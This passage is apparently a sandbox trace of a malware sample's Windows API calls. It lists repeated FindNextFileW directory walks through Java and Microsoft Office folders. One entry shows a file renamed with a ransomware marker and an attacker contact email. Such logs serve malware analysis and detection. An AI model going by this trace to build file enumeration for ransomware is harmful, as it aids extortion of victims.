lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.499] FindNextFileW (in: hFindFile=0x3e818e8, lpFindFileData=0x2f7f800 | out: lpFindFileData=0x2f7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0286.500] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ee20a8 | out: hHeap=0x730000) returned 1 [0286.500] FindNextFileW (in: hFindFile=0x3e81ba8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0286.501] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.501] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0286.501] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.501] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1 [0286.799] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0286.799] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0286.800] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.800] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0286.800] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0286.800] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0286.801] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.801] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0286.801] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.802] FindNextFileW (in: hFindFile=0x3e818e8, lpFindFileData=0x2f7f800 | out: lpFindFileData=0x2f7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0286.803] FindClose (in: hFindFile=0x3e818e8 | out: hFindFile=0x3e818e8) returned 1 [0286.803] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.803] FindNextFileW (in: hFindFile=0x3e81ae8, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x393aeeb2, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x393aeeb2, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x393aeeb2, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="DESKTO~1.COM")) returned 1 [0286.804] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0286.804] FindNextFileW (in: hFindFile=0x3e81968, lpFindFileData=0x2f7f800 | out: lpFindFileData=0x2f7f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0286.804] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0286.804] FindNextFileW (in: hFindFile=0x3e81968, lpFindFileData=0x2f7f800 | out: lpFindFileData=0x2f7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0286.804] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0286.804] FindNextFileW (in: hFindFile=0x3e81968, lpFindFileData=0x2f7f800 | out: lpFindFileData=0x2f7f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0286.805] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.805] FindNextFileW (in: hFindFile=0x3e81ae8, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Java", cAlternateFileName="")) returned 1 [0286.806] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.806] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0286.809] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.809] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0286.809] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.809] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0286.810] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.810] FindNextFileW (in: hFindFile=0x3e818e8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0286.811] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.811] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0286.811] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.811] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0286.811] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.811] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0286.814] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.814] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0286.817] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.817] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0286.943] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.943] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0286.945] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f120c0 | out: hHeap=0x730000) returned 1 [0286.945] FindNextFileW (in: hFindFile=0x3e81928, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0 [0286.945] FindClose (in: hFindFile=0x3e81928 | out: hFindFile=0x3e81928) returned 1 [0286.945] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.945] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0286.946] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.946] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0286.948] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.948] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0286.951] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.951] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0286.951] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.952] FindNextFileW (in: hFindFile=0x3e818e8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0286.953] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0286.953] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7f800 | out: lpFindFileData=0x2f7f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 0 [0286.953] FindClose (in: hFindFile=0x3e82028 | out: hFindFile=0x3e82028) returned 1 [0286.953] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3730078 | out: hHeap=0x730000) returned 1 [0286.954] FindNextFileW (in: hFindFile=0x3e81ae8, lpFindFileData=0x2f7fa7c | out: lpFindFileData=0x2f7fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x39b2254f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x39b2254f, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0286.956] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.956] FindNextFileW (in: hFindFile=0x3e81d68, lpFindFileData=0x2f7f800 | out: lpFindFileData=0x2f7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b907c83, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3b907c83, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0286.959] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.959] FindNextFileW (in: hFindFile=0x3e81d68, lpFindFileData=0x2f7f800 | out: lpFindFileData=0x2f7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0286.963] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed20a0 | out: hHeap=0x730000) returned 1 [0286.963] FindNextFileW (in: hFindFile=0x3e81fa8, lpFindFileData=0x2f7f584 | out: lpFindFileData=0x2f7f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0287.215] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0287.215] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0287.217] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0287.218] FindNextFileW (in: hFindFile=0x3e818e8, lpFindFileData=0x2f7f08c | out: lpFindFileData=0x2f7f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0287.218] FindClose (in: hFindFile=0x3e818e8 | out: hFindFile=0x3e818e8) returned 1 [0287.218] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f020b8 | out: hHeap=0x730000) returned 1 [0287.218] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x2f7f308 | out: lpFindFileData=0x2f7f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0287.218] FindClose (in: hFindFile=0x3e81e68 | out: hFindFile=0x3e81e68) 